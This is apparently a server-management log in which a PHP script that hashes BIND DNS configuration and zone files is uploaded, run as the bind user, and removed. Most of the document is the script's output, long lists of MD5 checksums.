MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:22:47: Establishing a connection
2026-04-22 18:22:47: 

PUT: /tmp/pkp990979

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:22:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp990979; rm /tmp/pkp990979'

2026-04-22 18:22:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:29:44: Establishing a connection
2026-04-22 18:29:44: 

PUT: /tmp/pkp798180

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:29:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp798180; rm /tmp/pkp798180'

2026-04-22 18:29:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
